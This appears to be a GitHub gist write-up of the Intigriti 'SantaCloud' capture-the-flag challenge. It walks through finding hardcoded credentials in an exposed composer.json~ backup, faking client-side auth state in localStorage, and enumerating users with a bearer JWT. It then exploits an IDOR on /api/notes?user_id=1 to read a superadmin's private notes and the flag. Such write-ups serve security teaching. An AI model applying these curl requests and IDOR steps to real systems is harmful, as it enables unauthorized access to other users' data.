Skip to content

Instantly share code, notes, and snippets.

@kelly-blue
Last active January 2, 2026 08:29
Show Gist options
  • Select an option

  • Save kelly-blue/b16668438c5992f05afce3a0279eb3e0 to your computer and use it in GitHub Desktop.

Select an option

Save kelly-blue/b16668438c5992f05afce3a0279eb3e0 to your computer and use it in GitHub Desktop.

Challenge overview

December’s Intigriti challenge, SantaCloud, simulated a vulnerable supply chain portal built on top of a Laravel backend with JWT-based authentication. The objective was simple and clearly defined:

Find the FLAG and win Intigriti swag!

The solution had to:

  • Leverage a vulnerability on the challenge page
  • Require no user interaction
  • Avoid self-XSS, MiTM, or bruteforce attacks
  • Stay below 1 request per second
  • Be reproducible against the challenge server
  • Return a flag in the format INTIGRITI{.*}

A quick note: if you simply copy and paste the commands below, you may encounter errors such as {"error":"Token not provided"}. This happens because the JWT has a short lifetime and expires quickly. For this reason, it is recommended to follow the write-up step by step instead of blindly copying commands. Throughout the exploitation process, multiple JWTs were used, which can be confirmed by observing different iat and exp claims. This demonstrates that the tokens are time-bound and do expire as expected. Thanks, and let’s hack!

Initial reconnaissance

I started with basic reconnaissance against the main challenge domain, so as the main page of the challenge says no brute force is needed, so I began by fuzzing common and well-known paths then I found robots.txt, opening that I found a bunch of config and backup files:

https://santacloud.intigriti.io/robots.txt
User-agent: *
Allow: /

# Disallow indexing of sensitive config files
Disallow: /package.json
Disallow: /backup.json
Disallow: /artisan
Disallow: /.env
Disallow: /.env.local
Disallow: /composer.json
Disallow: /composer.json*
Disallow: /composer.json~

I tested all endpoints and they all were returning 404 NOT FOUND, but the last one /composer.json~ returned 200 OK with configs and credentials hardcoded used to login the platform.

https://santacloud.intigriti.io/composer.json~

returned:

{
    "name": "intigriti-challenges/santacloud",
    "type": "project",
    "description": "SantaCloud - Supply Chain Portal",
    "version": "13.3.7",
    "keywords": ["laravel", "gifts", "christmas"],
    "license": "MIT",
    "config": {
        "admin-access": {
            "username": "elf_supervisor",
            "password": "CookiesAndMilk1337",
            "api-endpoint": "http://santacloud.intigriti.io/login",
        },
        "env": {
            "secret": "INTIGRITI{019b118e-e563-7348",
            "ttl": 3600
        }
    },
    "require": {
        "php": "^8.2",
        "laravel/framework": "^10.0",
        "firebase/php-jwt": "^6.10"
    },
    "authors": [
        {
            "name": "Elf Supervisor",
            "email": "devops@santacloud.intigriti.io"
        }
    ],
    "support": {
    }
}

Note that it returned credentials for logging and the flag, but the problem is that flag is not complete INTIGRITI{019b118e-e563-7348. At this point, we already had the first half of the flag.

Key observations:

  • Hardcoded admin credentials
  • A partial flag, confirming we are on the right path
  • JWT-related configuration
  • Laravel backend using firebase/php-jwt

Understanding how backend data are handled and stored on client side

Before logging in I tried to read /home source code in hope to find the other half, but nothing there, but I found something amazing "how data are handled on client-side":

    if (response.ok && data.token) {
        // Store in localStorage
        localStorage.setItem('auth_token', data.token);
        localStorage.setItem('user', JSON.stringify(data.user));
        
        // Store in cookie for server-side access
        document.cookie = `auth_token=${data.token}; path=/; max-age=86400; SameSite=Lax`;
        
        window.location.href = '/dashboard';
        } else {
        errorMessage.classList.remove('hidden');
        }
        } catch (error) {
        console.error('Login error:', error);
        errorMessage.classList.remove('hidden');
        }
});

When you login correctly the backend sends JSON response, containing username, user id, role, and the auth_token a JWT, but the front end just checks reponse is 200 OK and it contains token and sets all this data to localStorage to make it persistent, so if you try to access /dashboard you will get redirected to /login a simple way to verify it is to run on Console of devtools:

localStorage.setItem('auth_token', 'foo');
localStorage.setItem('user', 'bar');
document.cookie = `auth_token=foo; path=/; max-age=86400; SameSite=Lax`;

By accessing the /dashboard page, you will not be redirected to /login even though no real authentication took place.

This demonstrates that the frontend blindly trusts the presence of values in localStorage (such as auth_token and user) to determine the authentication state, without validating them server-side.

Enumerating users

Use the credentials found username: elf_supervisor and password: CookiesAndMilk1337 to login in /login page.

After logged in I visited all pages/functionalities and nothing found, so I decided to test a very common path /api/users used as default path in many different API's, tried to enumerate all users:

curl https://santacloud.intigriti.io/api/users

Response:

{"error":"Token not provided"}

A little detail here it responded {"error":"Token not provided"} and not forbiden, So made me believe that I only needed any valid token, remember that I said all backend data are stored on localStorage? so I went back on /dashboard page and opened console on devtools and typed:

localStorage

The response was:

Storage {auth_token: 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3N…iJ9fQ.cyUozgAUV6FFq8MsmduQ5aMcHuvG-YhQDD9D3je2_xg', user: '{"id":2,"username":"elf_supervisor","role":"admin"}', length: 2}
auth_token
: 
"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NjY3NzM5NjcsImV4cCI6MTc2Njc3NzU2NywiZGF0YSI6eyJpZCI6MiwidXNlcm5hbWUiOiJlbGZfc3VwZXJ2aXNvciIsInJvbGUiOiJhZG1pbiJ9fQ.cyUozgAUV6FFq8MsmduQ5aMcHuvG-YhQDD9D3je2_xg"
user
: 
"{\"id\":2,\"username\":\"elf_supervisor\",\"role\":\"admin\"}"
length
: 
2

The localStorage output was cluttered, so I extracted the auth_token directly

localStorage.getItem('auth_token')

It gave us the auth token (clear with no mess data)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NjY3ODUxMDAsImV4cCI6
MTc2Njc4ODcwMCwiZGF0YSI6eyJpZCI6MiwidXNlcm5hbWUiOiJlbGZfc3VwZXJ2aXNvciIsInJvbGUiOiJhZG1pbiJ9fQ.5VoBA5sdrmCGmkKAAH-1fQO0PhJ86KUGFPcUCg8zxAM

Now using this auth token as bearer token on the Authorization header we successfully enumerate all users, But why I used Authorization: Bearer instead of Authorization: Basic? because is the pattern being used in all paths to send requests to backend.

curl https://santacloud.intigriti.io/api/users -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NjY3Nzk5OTcsImV4cCI6MTc2Njc4Mz
U5NywiZGF0YSI6eyJpZCI6MiwidXNlcm5hbWUiOiJlbGZfc3VwZXJ2aXNvciIsInJvbGUiOiJhZG1pbiJ9fQ.VneaQn_ZFOrivWaNZK3EiPZduvre0Frr7pbC6TclVls" | jq .

Response:

{
  "success": true,
  "users": [
    {
      "id": 1,
      "username": "admin",
      "role": "superadmin"
    },
    {
      "id": 2,
      "username": "elf_supervisor",
      "role": "admin"
    }
  ]
}

Finding the entire flag!

But till now we just have found out half of the flag and the existence of other user a superadmin, so we already analyzed all endpoint previously and we did not found new credentials that we can use with the superadmin user. Then I went back to see if I did not miss any useful information and I found this endpoint /api/gifts?user_id=1 on \map page, you can see it in the bellow snipet:

// If user has no gifts or very few, try to get more data for visualization
if (gifts.length < 5) {
    // Try to fetch all users' gifts for better map visualization
    // This will work if there's an endpoint or parameter
    const allResponse = await fetch('/api/gifts?user_id=1', {
        headers: {
            'Authorization': `Bearer ${token}`
        }
    });
    
    if (allResponse.ok) {
        const allData = await allResponse.json();
        gifts = allData.gifts || gifts;
    }
}

We just have found out the pattern here, so if we have /api/gifts, means we also have /api/notes, based on pages and their functionalities, remember that superadmin has his id "1" ? So I tried /api/notes?user_id=1, I used 1 to retrieve superadmin notes and there it was the complete flag INTIGRITI{019b118e-e563-7348-a377-c1e5f944bb46}:

curl https://santacloud.intigriti.io/api/notes?user_id=1 -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE3NjY3ODUxMDAsImV4cCI6
MTc2Njc4ODcwMCwiZGF0YSI6eyJpZCI6MiwidXNlcm5hbWUiOiJlbGZfc3VwZXJ2aXNvciIsInJvbGUiOiJhZG1pbiJ9fQ.5VoBA5sdrmCGmkKAAH-1fQO0PhJ86KUGFPcUCg8zxAM" -H "Content-Type: application/json" | jq .
{
  "success": true,
  "notes": [
    {
      "id": 1,
      "user_id": 1,
      "title": "Q4 Distribution Strategy",
      "content": "Northern routes have been optimized as of the 24th of December 2025 (reported to me by The Elf). Prioritizing high-volume regions: North America (40%), Europe (30%), Asia-Pacific (20%), Others (10%). Weather concerns for December 24-25 window to be analyzed in advance.",
      "is_private": true,
      "created_at": "2025-12-25T18:59:10.000000Z",
      "updated_at": "2025-12-25T18:59:10.000000Z"
    },
    {
      "id": 2,
      "user_id": 1,
      "title": "Important Note",
      "content": "My memory isn't what it used to be, so I've taken the necessary precautions to keep important information safe. Therefore, I've ensured that I store the full access key in two different locations online, although I prefer traditional storage over the fancy cloud services that everyone keeps promoting. If you're reading this, you should have access to the first part now. The second part is stored in a private note, which the developer of SantaCloud assured would only be accessible by me. When combined, this key unlocks our central repository where all this year's deliverables are kept. Only I should have authorization to access it.",
      "is_private": true,
      "created_at": "2025-12-25T18:59:10.000000Z",
      "updated_at": "2025-12-25T18:59:10.000000Z"
    },
    {
      "id": 3,
      "user_id": 1,
      "title": "The Secret Key",
      "content": "INTIGRITI{019b118e-e563-7348-a377-c1e5f944bb46}",
      "is_private": true,
      "created_at": "2025-12-25T18:59:10.000000Z",
      "updated_at": "2025-12-25T18:59:10.000000Z"
    }
  ],
  "user_id": "1"
}

This vulnerability is an Insecure Direct Object Reference (IDOR), which occurs when the backend fails to enforce proper authorization checks.

In this case, the API did not verify whether the user_id supplied in the request matched the user identity contained in the JWT (auth_token). As a result, any authenticated user could access private resources belonging to other users simply by modifying a user reference, such as an ID, UID, UUID, or email address.

This flaw allowed an authenticated admin user to read private notes belonging to the superadmin account.

SantaCloud was a realistic and well-designed challenge that demonstrated how small misconfigurations such as backup files and missing authorization checks can be chained together to fully compromise sensitive data.

The challenge required:

  • Careful reconnaissance
  • Awareness of common API authorization pitfalls

Thanks to Intigriti for another great December challenge 🎄 Looking forward to the next one!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment